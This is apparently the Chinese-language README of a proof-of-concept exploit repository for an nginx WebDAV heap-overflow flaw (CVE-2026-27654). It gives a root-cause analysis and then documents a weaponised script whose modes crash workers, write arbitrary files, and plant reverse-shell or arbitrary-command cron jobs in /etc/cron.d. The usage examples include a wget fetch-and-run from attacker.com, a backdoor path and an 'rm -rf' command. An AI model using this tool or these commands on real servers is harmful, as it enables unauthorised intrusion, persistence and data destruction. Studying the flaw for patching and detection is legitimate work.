
针对 CVE-2026-27654 的概念验证与技术分析,该漏洞是 NGINX HTTP WebDAV 模块中的堆缓冲区溢出漏洞,包括根因分析、复现与缓解措施。
本仓库为 CVE‑2026‑27654 提供了一个概念验证(PoC)漏洞利用程序,这是 nginx 的 ngx_http_dav_module 中的一个堆溢出漏洞。该缺陷源于处理带有特制 Destination 标头和基于 alias 的 location 的 MOVE/COPY 请求时发生的 size‑t 下溢。
⚠️ 免责声明: 本工具仅用于经授权的安全研究和测试。请仅对您拥有或已获得明确测试许可的系统使用。作者不对滥用行为承担任何责任。
CVE-2026-27654 是 NGINX HTTP WebDAV 模块中一个可远程触发的基于堆的缓冲区溢出,由 ngx_http_dav_copy_move_handler()(src/http/modules/ngx_http_dav_module.c)中的整数下溢所致。该漏洞出现在以下情况:目标 URI 长度是通过从 Destination 标头路径中减去已配置的 location 前缀得出的。由于两个操作数均为 size_t 类型,较短的目标路径会导致减法回绕为一个接近最大值的无符号数值。
回绕后的长度随后被用作 memcpy() 的 size 参数,导致越界堆写入,从而破坏内存并立即导致 NGINX worker 进程崩溃。远程未认证攻击者只需向一个由 alias 映射的 WebDAV location 发送特制的 MOVE 或 COPY 请求,即可可靠地触发此条件。虽然 NGINX master 进程会自动重新生成崩溃的 worker,但重复请求可使服务持续处于 worker 崩溃循环中,造成持久的 拒绝服务(Denial-of-Service, DoS)。
AddressSanitizer (ASan) 通过 memcpy() 中的 negative-size-param 错误验证了该漏洞,并追踪从 ngx_http_dav_copy_move_handler() 到 ngx_http_core_module.c 的执行路径。当使用 --with-http_dav_module 编译并配置了 alias 指令时,该漏洞影响 NGINX 0.5.13–1.28.2(稳定版) 和 1.29.0–1.29.6(主线版)。该问题已在 NGINX 1.28.3 和 1.29.7(提交 ab4b5b8,PR #1210)中通过在执行内存操作前对计算出的目标路径长度进行正确验证而得到修复。
MOVE/COPY 请求,触发 size‑t 下溢并导致易受攻击的 worker 崩溃。alias 的实验环境)。/etc/cron.d/,并提供 LHOST/LPORT 的交互式提示和监听启动提醒。--cron-command 参数。--check)– 非交互式模式,运行崩溃测试并输出明确的 [VULNERABLE] / [NOT VULNERABLE] 结论,退出码为 0 或 1。--proxy)– 将所有请求通过 HTTP/HTTPS 代理(例如 Burp Suite、mitmproxy)发送,便于调试或检查流量。--payload-file(二进制)、(字面文本)提供 payload,或使用默认测试内容。git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
python exploit.py --target 192.168.1.100:8080
您将看到一个编号菜单,并提示您选择一个模式。
python exploit.py --target 192.168.1.100:8080 --check
这将强制进入 crash 模式,运行漏洞利用程序,并在以代码 0 或 1 退出之前输出 [VULNERABLE] 或 [NOT VULNERABLE]。
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
所有 HTTP 请求都将通过指定的代理发送(便于使用 Burp 进行调试)。
注意: 大多数参数是可选的。如果未提供必需的参数(例如
cron-shell的--lhost/--lport),脚本将提示您输入。
crash发送特制的 MOVE(或 COPY)请求,触发 size‑t 下溢。服务器将使 worker 进程崩溃。如果 master 进程配置正确,它将重新生成一个新的 worker。
示例:
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
write-file将文件上传到文件系统中的任意位置。仅当 DAV location 由指向可写目录的 alias 支持,并且 Destination 路径被构造为逃逸 DAV 根目录时,此功能才有效。仅限在经授权的实验环境中使用。
示例:
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
cron-shell将一个反向 shell 的 cron 任务放入 /etc/cron.d/。
选择此模式后,脚本将提示您输入:
然后,脚本会显示 netcat 监听命令,并等待您在监听器运行后按 Enter 键。
示例(预填充):
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
cron-cmd将自定义命令(通过交互方式或 --cron-command 提供)放入 /etc/cron.d/。这对于执行任意系统命令非常有用。
示例(交互式):
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
示例(预填充):
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
此示例演示如何使用 cron-cmd 在目标系统上执行命令,而无需监听器。
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
脚本将自动使用所提供的 --cron-command 并跳过交互式提示,因此适用于自动化。
要在受控环境中测试此 PoC,您可以使用 --with-http_dav_module 从源码构建 nginx,并使用 alias 和 dav_methods 配置一个 location。附带一个示例 Docker 配置(即将推出)。
本项目采用 GNU v3.0 许可证授权 – 详细信息请参阅 LICENSE 文件。
欢迎提交 issue 和 pull request。请确保您的贡献遵循相同的道德使用准则。
请记住: 在测试任何安全工具之前,务必获得适当的授权。保持道德!
--payload-text--destination-path、--alias-len、--escape-depth、--method、--location-prefix 等。requests 库,脚本将回退到 Python 标准的 http.client(降级模式下禁用代理支持)。| Flag | Description | Example |
|---|
--target HOST:PORT | 目标 nginx 实例(默认:127.0.0.1:8080)。 | --target 10.0.0.5:80 |
--verbose, -v | 显示完整 HTTP 响应(标头和正文)。 | -v |
--no-put | 跳过初始 PUT(假定触发器文件已存在)。适用于重复测试。 | --no-put |
--location-prefix | DAV location 前缀(默认:/uploads/)。必须与 nginx 配置中的 alias location 匹配。 | --location-prefix /dav/ |
--remote-name | 放置在 DAV location 内的远程源文件名(默认:triggerfile.txt)。 | --remote-name test.txt |
--method {MOVE,COPY} | 用于目标请求的 DAV 方法(默认:MOVE)。 | --method COPY |
--destination-path | 目标 URI 路径 – 用于崩溃算术或投递模式的最终文件路径。 | --destination-path /etc/cron.d/backdoor |
--alias-len | 已配置的 alias 字符串长度(用于崩溃算术显示,默认 13)。 | --alias-len 20 |
--escape-depth | 用于逃逸 DAV 根目录的 ../ 路径组件数量(默认 1)。 | --escape-depth 3 |
--payload-file | 要作为 payload 上传的本地文件。覆盖默认测试内容。 | --payload-file ./shell.php |
--payload-text | 用于 write-file 模式的字面文本 payload。 | --payload-text "<?php phpinfo(); ?>" |
--lhost | 反向 shell 回调主机(用于 cron-shell)。如果省略,脚本将交互式提示。 | --lhost 192.168.1.50 |
--lport | 反向 shell 回调端口(用于 cron-shell)。 | --lport 4444 |
--cron-command | 要通过 cron 运行的命令(用于 cron-cmd)。如果省略,脚本将交互式提示。 | --cron-command "rm -rf /tmp/*" |
--wait | 在 cron 投递后等待任务执行的秒数(默认 65)。 | --wait 120 |
--check | 运行漏洞检测(崩溃测试,非交互式)。输出 VULNERABLE/NOT VULNERABLE,并以代码 0/1 退出。 | --check |
--proxy PROXY_URL | HTTP/HTTPS 代理 URL(例如 http://127.0.0.1:8080)。需要 requests 库。 | --proxy http://127.0.0.1:8080 |